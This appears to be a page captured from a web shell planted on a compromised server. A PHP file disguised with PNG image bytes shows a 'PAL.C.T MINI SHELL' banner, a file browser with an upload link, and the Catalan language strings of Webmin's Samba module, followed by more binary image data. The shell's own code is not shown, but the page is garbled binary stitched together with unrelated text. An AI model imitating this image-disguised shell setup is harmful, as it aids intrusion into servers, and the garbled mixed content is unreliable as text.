php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/samba/lang/
upload
files >> //usr/libexec/webmin/samba/lang/ca

index_title=Compartició de Fitxers Windows Samba
index_sharelist=a la llista de recursos
index_userlist=a la llista d'usuaris
index_fileshare=al directori compartit
index_printershare=a la impressora compartida
index_shareconf=a la configuració del recurs
index_version=Versió Samba $1
index_samba=Samba

index_sharename=Nom del Recurs
index_path=Camí
index_security=Seguretat
index_homedir=Tots els Directoris Home
index_allprinter=Totes les Impressores
index_printer=Impressora
index_defaultprn=Impressora per defecte
index_printableto=Imprimible per
index_prneveryone=Imprimible per tothom
index_prnalluser=Imprimible per tots els usuaris coneguts
index_rwpublic=Lectura/escriptura per tothom
index_readonly=Només lectura per $1<br>Lectura/escriptura per a tots els altres usuaris
index_rwalluser=Lectura/escriptura per tots els usuaris coneguts
index_roeveryone=Només lectura per tothom
index_readwrite=Lectura/escriptura per $1<br>Només lectura per tots els altres usuaris coneguts
index_roalluser=Només lectura per tots els usuaris coneguts
index_noshares=No hi ha cap recurs Samba definit
index_createfileshare=Crea un nou directori compartit.
index_createprnshare=Crea una nova impressora compartida.
index_createcopy=Crea una nova còpia.
index_view=Mostra totes les connexions.
index_start=Inicia els Servidors Samba
index_start_wb=Inicia els Servidors Winbind
index_startmsg=No sembla que els servidors Samba estiguin en execució al sistema. Això vol dir que els recursos llistats més amunt no seran accessibles per altres ordinadors.
index_startmsg_wb=No sembla que els servidors Winbind estiguin en execució al sistema.
index_restart=Reinicia els Servidors Samba
index_restartmsg=Fes clic sobre aquest botó per reiniciar els servidors Samba en execució al sistema. Això forçarà l'aplicació de la configuració actual.
index_restartmsg_wb=Fes clic sobre aquest botó per reiniciar els servidors Winbind en execució al sistema.
index_restartmsg2=Això també desconnectarà totes les connexions del servidor, així que si no vols que la configuració actual s'apliqui immediatament, hauries d'esperar 1 minut fins que Samba recarregui automàticament la configuració.
index_stop=Atura els Servidors Samba
index_stop_wb=Atura els Servidors Winbind
index_stopmsg=Fes clic sobre aquest botó per tancar els servidors Samba en execució al sistema. Tots els usuaris connectats seran desconnectats per força.
index_stopmsg_wb=Fes clic sobre aquest botó per tancar els servidors Winbind en execució al sistema.
index_einclude=Atenció - El fitxer de configuració $1 de Samba conté la directiva $2 o $3. Això pot provocar que Webmin modifiqui el fitxer incorrectament.
index_delete=Suprimeix els Recursos Seleccionats

config_mins=Mins
config_secs=segs
config_bytes=Bytes
config_never=Mai
config_all=Tots
config_neither=Cap

global_title=Configuració Global
global_unixnetwork=Xarxa Unix
global_winnetwork=Xarxa Windows
global_auth=Autenticació
global_printing=Impressió de Windows a Unix
global_misc=Miscel·lània
global_filedefault=Valors per defecte dels directoris compartits
global_prndefault=Valors per defecte de les impressores compartides
global_password=Contrasenyes xifrades
global_users=Usuaris Samba
global_group=Grups Samba
global_bind=Opcions Winbind

error_nosamba=No s'ha trobat l'executable servidor de samba <tt>$1</tt>. O bé el Samba no està instal·lats, o bé la <a href="$2">configuració del mòdul</a> és incorrecta.
error_version=El Webmin no ha pogut obtenir la versió de l'executable servidor de Samba <tt>$1</tt>. Comprova la <a href="$2">configuració del mòdul</a> per assegurar que el camí és el correcte.
error_config=No s'ha trobat el fitxer de configuració $1. Segurament, el Samba no està instal·lat, o bé la <a href="$2">configuració del mòdul</a> és incorrecta.
error_include=Webmin no pot manipular els fitxers de configuració de Samba que empren les directives <tt>config</tt> o <tt>include</tt>.
error_delshare=No s'ha pogut suprimir el recurs
error_delcopy=El recurs '$1' és una còpia del recurs
error_savename=No s'han pogut desar els noms de fitxers

convert_title=Conversió d'Usuaris
convert_msg=Aquest formulari permet sincronitzar ls llista d'usuaris de Unix i de Samba. Quan el Samba utilitza <a href=$1>contrasenyes xifrades</a>, s'utilitza una llista separada d'usuaris i contrasenyes en lloc de la llista d'usuaris del sistema.
convert_noconv=No converteixis o elimina aquests usuaris:
convert_ncdesc=La llista d'usuaris a no convertir pot contenir noms d'usuari, UIDs, noms de grup prefixats amb <tt>@</tt>, o rangs d'UIDs com ara <i>500-1000</i> o <i>500-</i>.
convert_update=Actualitza els usuaris del Samba a partir dels detalls de Unix
convert_add=Afegeix nous usuaris de Samba a partir de la llista d'usuaris Unix
convert_delete=Suprimeix els usuaris de Samba que no existeixin en Unix 
convert_newuser=Per a nous usuaris, estableix la contrasenya a:
convert_nopasswd=Sense contrasenya
convert_lock=Compte bloquejat
convert_passwd=Utilitza aquesta contrasenya
convert_convert=Converteix els Usuaris
convert_cannot=Els usuaris Unix no es poden convertir a usuaris Samba
convert_who=Usuaris Unix a convertir
convert_who0=Només els usuaris o rangs d'UIDs llistats
convert_who1=Tots excepte els usuaris o rangs d'UIDs llistats

misc_title=Opcions Miscel·lànies
misc_debug=Nivell de Depuració
misc_cachecall=Crides a <tt>getwd()</tt> en memòria cau
misc_lockdir=Directori de bloqueigs
misc_log=Fitxer de registres
misc_maxlog=Mida màxima del registre
misc_rawread=Permet lectures pelades
misc_rawwrite=Permet escriptures pelades
misc_overlapread=Mida de solapament en lectura
misc_chroot=Directori <tt>chroot()</tt>
misc_smbrun=Camí de <tt>smbrun</tt>
misc_clienttime=Marge de temps del client
misc_readprediction=Predicció de lectura

net_title=Opcions de Xarxa Unix
net_idle=Temps d'inacció abans de desconnectar
net_trustlist=Fitxer de hosts/usuaris fiables
net_netinterface=Interfícies de Xarxa
net_auto=Automàtic
net_uselist=Utilitza llista...
net_interface=Interfície
net_netmask=Màscara de subxarxa
net_keepalive=Paquets 'keepalive'
net_notsend=No n'enviïs cap
net_every=Envia'ls cada
net_maxpacket=Mida màxima de paquet
net_listen=Escolta l'adreça
net_ip=Adreça IP
net_socket=Opcions del sòcol

passwd_title=Opcions de Contrasenya
passwd_encrypt=Utilitza contrasenyes xifrades
passwd_allownull=Permet contrasenyes nul·les
passwd_program=Programa de contrasenyes
passwd_case=Distinció entre majúscules i minúscules
passwd_sync=Canvia també la contrasenya Unix
passwd_chat=Canvia el guió de canvi de la contrasenya
passwd_below=Llistats a sota:
passwd_waitfor=Espera
passwd_send=Envia
passwd_map=Mapeig de noms d'usuari
passwd_unixuser=Usuaris Unix
passwd_winuser=Usuaris Windows

print_title=Opcions d'Impressió
print_style=Impressió estil Unix
print_show=Mostra totes les impressores
print_printcap=Fitxer printcap
print_cachetime=Temps del cau de l'estat d'impressora

smb_title=Opcions de Xarxa Windows
smb_workgroup=Grup de treball
smb_wins=Mode WINS
smb_winsserver=Sigues un servidor WINS
smb_useserver=Utilitza un servidor
smb_description=Descripció del servidor
smb_descriptionnone=Cap
smb_name=Nom del servidor
smb_aliase=Àlies del servidor
smb_default=Servei per defecte
smb_show=Mostra sempre els serveis
smb_disksize=Mida màxima de disc informada
smb_unlimited=Il·limitada
smb_winpopup=Ordre Winpopup
smb_priority=Prioritat de mestres d'exploració
smb_protocol=Protocol més alt
smb_master=Explorador Mestre
smb_master_auto=Automàtic
smb_security=Seguretat
smb_sharelevel=A nivell de recurs
smb_userlevel=A nivell d'usuari
smb_passwdserver=Servidor de contrasenyes
smb_server=Servidor de contrasenyes
smb_domain=Domini
smb_ads=Directori actiu
smb_announce=Anunci remot a
smb_nowhere=Enlloc
smb_fromlist=De la llista...
smb_ip=Adreça IP
smb_asworkgroup=<b>Com a Grup de Treball</b> (opcional)

create_title=Creació de Còpia
create_msg=Una còpia d'un recurs heretarà tots els seus valors per defecte del recurs que triïs. Si el recurs original es canvia, la còpia també. 
create_from=Recurs origen:
create_name=Nou recurs:

smbuser_title=Usuaris Samba
smbuser_list=Llista d'Usuaris de Samba
smbuser_nouser=No hi ha cap usuari de Samba definit.
smbuser_cannot=No es poden llistar els usuaris Samba

euser_title=Edició d'Usuari Samba
euser_name=Usuari
euser_uid=UID Unix
euser_passwd=Contrasenya
euser_noaccess=Sense accés
euser_nopw=Sense contrasenya
euser_currpw=Contrasenya actual
euser_newpw=Contrasenya nova
euser_realname=Nom real
euser_homedir=Directori arrel
euser_shell=Shell
euser_option=Opcions d'usuari
euser_normal=Usuari normal
euser_noexpire=La contrasenya no expira mai
euser_locked=El compte està bloquejat
euser_nopwrequired=No cal contrasenya
euser_disable=Compte desactivat
euser_trust=Compte de fiabilitat d'estació de treball

fmisc_title=Valors Miscel·lanis de Fitxer
fmisc_for=Del recurs <tt>$1</tt>
fmisc_lockfile=Bloqueja els fitxers
fmisc_maxconn=Nombre màxim de connexions
fmisc_fake=Simula oplocks
fmisc_oplocks=Activa oplocks
fmisc_level2=Oplocks només lectura
fmisc_sharemode=Utilitza modes del recurs
fmisc_strict=Bloqueig estricte
fmisc_sync=Sync després d'escriure
fmisc_volume=Nom del volum
fmisc_sameas=Igual que el recurs
fmisc_unixdos=Mapeig del nom del fitxer Unix-DOS
fmisc_conncmd=Ordre a executar en connectar
fmisc_disconncmd=Ordre a executar en desconnectar
fmisc_rootconn=Ordre a executar en connectar <i>com a root</i>
fmisc_rootdisconn=Ordre a executar en desconnectar <i>com a root</i>

fname_title1=Nomenament de Fitxers
fname_title2=Edició de Noms de Fitxers
fname_option=Opcions de Noms de Fitxers
fname_manglecase=Converteix la caixa
fname_case=Sensible a caixa
fname_defaultcase=Caixa per defecte
fname_lower=Minúscules
fname_upper=Majúscules
fname_preserve=Conserva la caixa
fname_shortpreserve=Conserva la caixa dels noms curts
fname_hide=Oculta els fitxers .
fname_archive=Conserva l'atribut de fitxer de DOS
fname_hidden=Conserva l'atribut d'ocultació de DOS
fname_system=Conserva l'atribut de sistema de DOS

fperm_title1=Permisos de Fitxers
fperm_title2=Edició de Permisos de Fitxers
fperm_option=Opcions de Permisos de Fitxers
fperm_filemode=Mode Unix de fitxer nou
fperm_dirmode=Mode Unix de directori nou
fperm_notlist=Directoris que no s'han de llistar
fperm_forceuser=Força usuari de Unix
fperm_forcegrp=Força grup de Unix
fperm_link=Permet enllaços simbòlics fora del recurs
fperm_delro=Permet la supressió de fitxers només lectura
fperm_forcefile=Força el mode de fitxer Unix
fperm_forcedir=Força el mode de directori Unix

share_title1=Directori Compartit
share_title2=Edició de Directori Compartit
share_title3=Creació de Directori Compartit
share_info=Informació del recurs
share_copy=Aquest recurs és una còpia de <i>$1</i>
share_name=Nom del recurs
share_home=Compartició dels Directoris Arrel
share_dir=Directori compartit
share_create=Crea el directori automàticament
share_owner=Crea amb usuari
share_createperms=Crea amb el permisos
share_group=Crea amb el grup
share_available=Disponible
share_browseable=Explorable
share_comment=Comentari del Recurs
share_view=Mostra les Connexions
share_option=Altres Opcions del Recurs
share_security=Seguretat i Control d'Accés
share_permission=Permisos de Fitxers
share_naming=Nomenament de Fitxers
share_misc=Opcions Miscel·lànies
share_samedesc1=Nota - aquests valors també afectaran els valors per defecte de tots els recursos compartits. 
share_samedesc2=Nota - aquests valors també afectaran els valors per defecte de totes les impressores compartides.

print_title1=Opcions d'Impressió
print_title2=Edició d'Opcions d'Impressió
print_option=Opcions d'Impressió
print_minspace=Espai lliure mínim
print_postscript=Força impressió PostScript
print_command=Ordre d'impressió
print_queue=Ordre de mostra de la cua
print_delete=Ordre de supressió de treball
print_pause=Ordre de suspensió de treball
print_unresume=Ordre de represa de treball
print_driver=Controlador d'impressora

pshare_title1=Impressora Compartida
pshare_title2=Edició d'Impressora Compartida
pshare_title3=Creació d'Impressora Compartida
pshare_info=Informació de la Impressora
pshare_name=Nom de la Impressora
pshare_all=Totes les Impressores Compartides
pshare_unixprn=Impressora Unix
pshare_spool=Directori de spool

sec_index1=Seguretat
sec_index2=Edició de la Seguretat
sec_writable=Lectura/Escriptura
sec_guest=Accés hoste
sec_guestonly=Només hoste
sec_guestaccount=Usuari hoste Unix
sec_limit=Limita a la llista de possibles
sec_allowhost=Hosts permesos
sec_onlyallow=Permet només
sec_denyhost=Hosts denegats
sec_onlydeny=Denega només
sec_revalidate=Revalida els usuaris
sec_validuser=Usuaris vàlids
sec_validgroup=Grups vàlids
sec_invaliduser=Usuaris invàlids
sec_invalidgroup=Grups invàlids
sec_possibleuser=Usuaris possibles
sec_possiblegroup=Grups possibles
sec_rouser=Usuaris només lectura
sec_rogroup=Grups només lectura
sec_rwuser=Usuaris lectura/escriptura
sec_rwgroup=Grups lectura/escriptura

esync_title=Sincronització d'Usuaris
esync_msg=Webmin es pot configurar de manera que els canvis a la llista d'usuaris de Unix s'apliquin automàticament a la llista d'usuaris del Samba. Això només funcionarà si s'utilitza el mòdul <b>Usuaris i Grups</b> de Webmin per a afegir, suprimir o canviar usuaris.
esync_add=Afegeix un usuari de Samba quan s'afegeixi un usuari Unix
esync_chg=Canvia l'usuari de Samba quan es canviï l'usuari Unix
esync_del=Suprimeix l'usuari de Samba quan se suprimeixi l'usuari Unix
esync_del_profile=Suprimeix el perfil errant quan se suprimeix un usuari Unix
esync_chg_profile=Reanomena el perfil errant quan es reanomena un usuari Unix
esync_gid=SID o RID de grup dels usuaris nous
esync_apply=Aplica
esync_cannot=No es pot configurar la sincronització d'usuaris
esync_egid=Hi falta el SID o RID del grup o bé és invàlid

mkpass_title=Conversió d'Usuaris
mkpass_convfail=No s'ha pogut convertir l'usuari
mkpass_msg=S'estan convertint els usuaris Unix...
mkpass_skip=Omès
mkpass_same=Ja és el mateix
mkpass_update=Actualitzat
mkpass_added=Afegit
mkpass_del=Suprimit
mkpass_passfail=No s'ha pogut establir la contrasenya
mkpass_user=Usuari
mkpass_action=Acció presa
mkpass_skipcount=S'han omès $1 usuaris en la conversió.

savecopy_fail=No s'ha pogut crear la còpia
savecopy_global=El nom 'global' no es pot utilitzar per a cap recurs
savecopy_exist=Ja existeix un recurs anomenat '$1'
savecopy_ename=No has introduït cap nom de recurs

saveuser_fail=No s'ha pogut desar l'usuari
saveuser_uid='$1' no és un UID de Unix vàlid
saveuser_colon=El nom real no pot contenir el caràcter :
saveuser_home=El directori arrel '$1' no existeix
saveuser_shell=$1 no és una shell vàlida
saveuser_pass=No s'ha pogut canviar la contrasenya amb smbpasswd : $1
saveuser_ews=No es pot activar l'opció 'Compte de fiabilitat d'estació de treball' per als usuaris existents

savefmisc_fail=No s'han pogut desar les opcions miscel·lànies
savefmisc_number='$1' no és un nombre vàlid de connexions

savefperm_fail=No s'han pogut desar els permisos de fitxers
savefperm_mode='$1' no és un mode de fitxer Unix vàlid

savefshare_fail=No s'ha pogut desar el recurs
savefshare_nopath=No s'ha donat el camí
savefshare_exist=Ja existeix un recurs anomenat '$1'
savefshare_mode='$1' no és un nom de recurs vàlid
savefshare_global=El nom 'global' o es pot utilitzar per a cap recurs
savefshare_owner=Hi falta l'usuari del nou directori o bé és invàlid
savefshare_group=Hi falta grup del nou directori o bé és invàlid
savefshare_perms=Hi falten els permisos del nou directori o bé són invàlids
savefshare_emkdir=No s'ha pogut crear el directori: $1

savemisc_fail=No s'han pogut desar les opcions
savemisc_lockdir=El directori que conté el directori de bloqueigs no existeix
savemisc_logdir=El directori que conté el fitxer de registre no existeix
savemisc_logsize='$1' no és una mida del registre vàlida
savemisc_overlap='$1' no és una mida vàlida de solapament en lectura
savemisc_chroot=El directori chroot '$1' no existeix
savemisc_smbrun=El programa smbrun '$1' no existeix o no és executable
savemisc_time='$1' no és un marge de temps vàlid

savenet_fail=No s'han pogut desar les opcions
savenet_timeout='$1' no és un temps límit de desconnexió vàlid
savenet_ip='$1' no és un byte IP vàlid
savenet_keep='$1' no és un interval 'keepalive' vàlid
savenet_maxxmit='$1' no és una mida màxima de paquet vàlida

savepass_fail=No s'han pogut desar les opcions
savepass_nopass=La teva versió de Samba no suporta contrasenyes xifrades
savepass_passwd=No s'ha donat cap programa de canvi de contrasenyes
savepass_level='$1' no és un valor vàlid de caixa
savepass_chat=El guió de canvi de contrasenya és buit

savepopts_fail=No s'han pogut desar les opcions de la impressora
savepopts_number=L'espai lliure mínim ha de ser un número

saveprint_fail=No s'han pogut desar les opcions
saveprint_printcap=El fitxer printcap '$1' no existeix
saveprint_cache='$1' no és un temps de cau vàlid

savepshare_fail=No s'ha pogut desar la impressora compartida
savepshare_exist=Ja existeix un recurs anomenat '$1'
savepshare_name='$1' no és un nom de recurs vàlid
savepshare_global=El nom 'global' no es pot utilitzar per a cap recurs

savesec_fail=No s'ha pogut desar la seguretat

savesmb_fail=No s'han pogut desar les opcions
savesmb_size='$1' no és una mida vàlida de disc
savesmb_oslevel='$1' no és una prioritat de mestre d'exploració vàlida
savesmb_server=Has d'introduir un servidor de contrasenyes

start_err=No s'han pogut iniciar els servidors Samba
start_fail=$1 ha fallat
start_err_wb=No s'han pogut iniciar els servidors Winbind

restart_err=No s'han pogut reiniciar els servidors Samba
restart_err_wb=No s'han pogut reiniciar els servidors Winbind

swats_fail=No s'ha pogut desar el nom d'usuari
swats_user=Falta el nom d'usuari SWAT

viewu_index=Usuaris Actuals
viewu_list=Usuaris actuals de $1
viewu_share=Recurs
viewu_user=Usuari
viewu_group=Grup
viewu_from=Connectat des de
viewu_time=Connectat des de
viewu_pid=ID del Procés
viewu_msg1=Fes clic sobre un ID de procés de la llista per desconnectar aquest usuari.
viewu_msg2=No hi ha cap usuari actualment connectat
viewu_locks=Fitxers oberts
viewu_none=Cap
viewu_ecmd=No sembla que el programa d'estat de samba $1 estigui instal·lat al sistema. Pot ser que la <a href='$2'>configuració del mòdul</a> sigui incorrecta.
viewu_kill=Desconnecta els Usuaris Seleccionats
viewu_enone=No has seleccionat cap usuari
viewu_refresh=Refresca la pàgina.

log_apply=S'han reiniciat els servidors Samba
log_apply_wb=S'han reiniciat els servidors Winbind
log_stop=S'han aturat els servidors Samba
log_stop_wb=S'han aturat els servidors Winbind
log_start=S'han iniciat els servidors Samba
log_start_wb=S'han iniciat els servidors Winbind
log_save_fshare=S'ha modificat el directori compartit $1
log_save_pshare=S'ha modificat la impressora compartida $1
log_save_sec=S'ha modificat la seguretat i el control d'accés del recurs $1
log_save_fperm=S'han modificat els permisos de fitxers del recurs $1
log_save_fname=S'ha modificat el nomenament de fitxers del recurs $1
log_save_fmisc=S'han modificat les opcions miscel·lànies del recurs $1
log_save_popts=S'han modificat les opcions de la impressora compartida $1
log_default_fshare=S'han canviat les opcions del directori compartit
log_default_pshare=S'han canviat les opcions de la impressora compartida
log_kill=S'ha desconnectat el procés $1
log_skill=S'ha desconnectat el procés $1 del recurs $2
log_kills=S'han desconnectat $1 processos
log_skills=S'han desconnectat $1 processos del recurs $2
log_create_fshare=S'ha creat el directori compartit $1
log_create_pshare=S'ha creat la impressora compartida $1
log_delete_fshare=S'ha suprimit el directori compartit $1
log_delete_pshare=S'ha suprimit la impressora compartida $1
log_delete_shares=S'han suprimit $1 recursos compartits
log_net=S'han canviat les opcions de xarxa Unix
log_smb=S'han canviat les opcions de xarxa Windows
log_pass=S'han canviat les opcions d'autenticació
log_print=S'han canviat les opcions d'impressió de Windows a Unix
log_misc=S'han canviat les opcions miscel·lànies
log_bind=Canvia les opcions Winbind
log_sync=S'ha configurat la sincronització d'usuaris Unix
log_epass=S'han convertit els usuaris Unix a usuaris Samba
log_epass_l=S'han convertit els usuaris Unix a usuaris Samba ($1 creat(s(, $2 modificat(s), $3 suprimit(s))
log_copy=S'ha copiat el recurs $2 a $1
log_save_euser=S'ha modificat l'usuari Samba $1
log_delete_euser=S'ha suprimit l'usuari Samba $1
log_create_group=S'ha creat el grup Samba $1
log_modify_group=S'ha modificat el grup Samba $1
log_delete_group=S'ha suprimit el grup Samba $1
log_gsync=S'ha configurat la sincronització de grups Unix
log_manual=S'ha editat manualment el fitxer de configuració $1

swat_title=Connexió SWAT
swat_list=Connexió SWAT
swat_msg1=El teu nom i contrasenya SWAT actuals són incorrectes. Utilitza el formulari inferior per tornar-te a connectar.
swat_msg2=Cal un usuari i una contrasenya per connectar-se al SWAT. Normalment, això pot ser un usuari qualsevol del sistema.
swat_msg3=No pots executar el SWAT des de Webmin, ja que la configuració del Samba té establerta l'opció <tt>$1:...</tt> (allow hosts).
swat_msg4=No obstant, pots connectar directament amb el SWAT a $1
swat_username=Usuari
swat_password=Contrasenya
swat_login=Connecta't
swat_clear=Neteja
swat_logout=Surt de SWAT

eacl_aviol=Violació del control d'accés
eacl_np=No tens permisos per
eacl_papply=reiniciar aquest servei
eacl_pcn=editar les opcions de xarxa Unix
eacl_pcs=editar les opcions de xarxa SMB
eacl_pcp=editar les opcions de contrasenyes
eacl_pcprint=editar les opcions d'impressió
eacl_pcm=editar les opcions miscel·lànies
eacl_pcswat=utilitzar el SWAT
eacl_pcopy=copiar recursos
eacl_pconn_all=veure totes les connexions
eacl_pconn=veure les connexions d'aquest recurs
eacl_pgkill=matar les connexions
eacl_pkill=matar aquesta connexió
eacl_pus=actualitzar el recurs
eacl_pcrs=crear el recurs
eacl_pds=suprimir el recurs
eacl_pusec=actualitzar les opcions de  seguretat i control d'accés d'aquest recurs
eacl_pufperm=actualitzar les opcions de permisos de fitxers d'aquest recurs
eacl_pufname=actualitzar les opcions de nomenament de fitxers d'aquest recurs
eacl_pufmisc=actualitzar les opcions miscel·lànies d'aquest recurs
eacl_pupopt=actualitzar les opcions d'impressió d'aquest recurs
eacl_pmpass=inicialitzar la base de dades d'usuaris Samba
eacl_pmsync=mantenir la sincronització d'usuaris Unix-Samba
eacl_pmusers=mantenir els usuaris Samba
eacl_pvusers=accedir els usuaris Samba
eacl_pvfmisc=accedir les opcions miscel·lànies d'aquest recurs
eacl_pvfname=accedir les opcions de nomenament de fitxers d'aquest recurs
eacl_pvperm=accedir les opcions de permisos de fitxers d'aquest recurs
eacl_pvsec=accedir les opcions de seguretat i control d'accés d'aquest recurs
eacl_pvpopt=accedir les opcions d'impressió d'aquest recurs
eacl_pafs=accedir aquest directori compartit
eacl_paps=accedir aquesta impressora compartida
eacl_pcps=crear impressores compartides
eacl_pcfs=crear directoris compartits

acl_apply=Pot aplicar canvis i aturar Samba
acl_view_all_con=Pot veure totes les connexions
acl_kill_con=Pot eliminar connexions
acl_conf_net=Pot configurar opcions de xarxa Unix
acl_conf_smb=Pot configurar opcions de xarxa Windows
acl_conf_pass=Pot configurar opcions d'autenticació
acl_conf_print=Pot configurar opcions d'impressió
acl_conf_misc=Pot configurar opcions miscel·lànies
acl_swat=Pot utilitzar SWAT
acl_manual=Pot editar manualment el fitxer de configuració
acl_enc_passwd_opts=Opcions de contrasenyes xifrades
acl_view_users=Pot veure la base de dades d'usuaris Samba
acl_maint_users=Pot editar usuaris Samba
acl_maint_makepass=Pot convertir els usuaris Unix a usuaris Samba
acl_maint_sync=Pot mantenir la sincronització automàtica d'usuaris UNIX/SAMBA
acl_hide=Amaga els objectes inaccessibles
acl_c=creació
acl_r=lectura
acl_w=escriptura
acl_afs=Accés a directoris compartits
acl_aps=Accés a impressores compartides
acl_copy=Pot copiar recursos
acl_per_fs_acls=Activa acls per directori compartit
acl_per_ps_acls=Activa acls per impressora compartida
acl_per_share_acls=ACLs per recurs...
acl_ernow=Si vols activar l'accés d'escriptura als ACLs globals per a algun tipus d'objecte, també has d'activar l'accés de lectura d'aquest tipus d'objecte.
acl_sname=Nom del recurs
acl_saccess=Accés al recurs
acl_sconn=Connexions
acl_sopthdr=Opcions del recurs
acl_ssec=seguretat
acl_sperm=permisos
acl_snaming=nomenament de fitxers
acl_smisc=miscel·lània
acl_sprn=o impressora
acl_na=n/a
acl_r1=només lectura
acl_rw=lectura/escriptura
acl_view=veure
acl_kill=matar
acl_edit=editar
acl_group_opts=Opcions del grup Samba
acl_maint_groups=Pot veure, editar i afegir grups
acl_maint_gsync=Pot mantenir la sincronia automàtica entre grups Unix i Samba
acl_winbind=Pot vincular a dominis
acl_bind=Pot accedir a les opcions de winbind

groups_title=Grups Samba
groups_name=Nom del grup
groups_unix=Grup Unix
groups_nounix=Cap
groups_type=Tipus
groups_type_d=Grup de domini
groups_type_b=integrat a NT
groups_type_l=Grup local
groups_type_u=Desconegut
groups_sid=SID
groups_none=Encara no s'ha definit cap grup Samba
groups_return=a la llista de grups
groups_add=Afegeix un nou grup Samba.
groups_ecannot=No tens permís per veure ni editar els grups Samba
groups_cannot=No es poden llistar els grups Samba

gedit_title2=Edició de Grup Samba
gedit_title1=Creació de Grup Samba
gedit_header=Detalls del grup Samba
gedit_name=Nom del grup
gedit_type=Tipus de grup
gedit_sid=SID del grup
gedit_desc=Descripció
gedit_priv=Privilegis
gedit_unix=Grup Unix
gedit_unixgr=Grup...
gedit_none=Cap
gedit_set=Els llistats...

gsave_err=No s'ha pogut desar el grup
gsave_eunix=Hi falta el nom del grup i GID Unix, oi bé és invàlid
gsave_ename=Hi falta el nom del grup
gsave_epriv=Hi falten els privilegis del grup
gsave_elocal=Només es poden establir privilegis per a grups locals

gsync_title=Sincronització de Grups
gsync_msg=Webmin es pot configurar per tal que els canvis en els grups Unix s'apliquin automàticament als grups Samba. Això només funcionarà si s'utilitza el mòdul <b>Usuaris i Grups</b> de Webmin per a afegir, suprimir o canviar grups.
gsync_add=Afegeix un grup Samba quan s'afegeixi un grup Unix
gsync_chg=Canvia el grup Samba quan es canviï un grup Unix
gsync_del=Suprimeix el grup Samba quan se suprimeixi un grup Unix
gsync_apply=Aplica
gsync_type=Tipus dels grups nous
gsync_priv=Privilegis dels grups nous (si són locals)
gsync_ecannot=No tens permís per configurar la sincronització de grups
gsync_cannot=No es pot configurar la sincronització de grups

check_user1=$1: El xifratge de contrasenyes no està activat a la pàgina d'<a href='$2'>Autenticació</a>.
check_user2=$1: No estan especificats a la pàgina de <a href='$2'>Configuració del Mòdul</a> ni el fitxer de contrasenyes de Samba ni el camí de pdbedit.
check_group1=$1: Els grups només estan suportats a la versió 3 de Samba.
check_group2=$1: No estan especificats a la pàgina de <a href='$2'>Configuració del Mòdul</a> ni el camí de l'ordre smbgroupedit ni el de l'ordre net.

winbind_title=Vinculació a Domini
winbind_ecannot=No tens permís per vincular a dominis
winbind_msg=Es pot utilitzar aquest formulari per vincular aquest servidor Samba a un domini de Windows, típicament gestionat per un servidor diferent.
winbind_header=Vincula a un domini Windows
winbind_user=Vincula com a usuari
winbind_dom=Vincula al domini
winbind_save=Vincula'l Ara
winbind_default=Domini de la configuració de Samba
winbind_pass=Contrasenya de l'usuari
winbind_err=No s'ha pogut vincular al domini
winbind_euser=Hi falta el nom d'usuari
winbind_edom=Hi falta el nom del domini
winbind_cmd=S'està vinculant al domini amb l'ordre $1...
winbind_failed=...ha fallat! Vegeu la sortida de sobre per veure'n la raó.
winbind_ok=...completat

bind_title=Opcions Winbind
bind_ecannot=No tens permís per editar les opcions winbind
bind_header=Opcions de vincle a domini Windows
bind_local=Activa Winbind per als comptes locals
bind_trust=Confia en els usuaris del servidor de domini
bind_users=No permetis el llistat d'usuaris
bind_groups=No permetis el llistat de grups
bind_defaultdomain=Utilitza sempre el domini per defecte
bind_realm=Reialme Kerberos del servidor de domini
bind_cache=Nombre de segons que cal posar els detalls de l'usuari al cau
bind_uid=Rang de UIDs dels usuaris de Windows
bind_gid=Rang de GIDs dels grups de Windows
bind_backend=Repositori LDAP per al mapejat de comptes
bind_err=No s'han pogut desar les opcions Winbind
bind_erealm=Reialme Kerberos invàlid
bind_ecache=Hi falta el temps de cau o bé és invàlid
bind_euid=Rang de UID invàlid - ha de ser com 20000-30000
bind_egid=Rang de GID invàlid - ha de ser com 20000-30000

manual_title=Edició del Fitxer de Configuració
manual_desc=S'està editant el fitxer de configuració de Samba $1...
manual_err=No s'ha pogut desar el fitxer de configuració
manual_edata=No has introduït res!

delete_err=No s'han pogut suprimir els recursos
delete_enone=No has seleccionat cap recurs
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`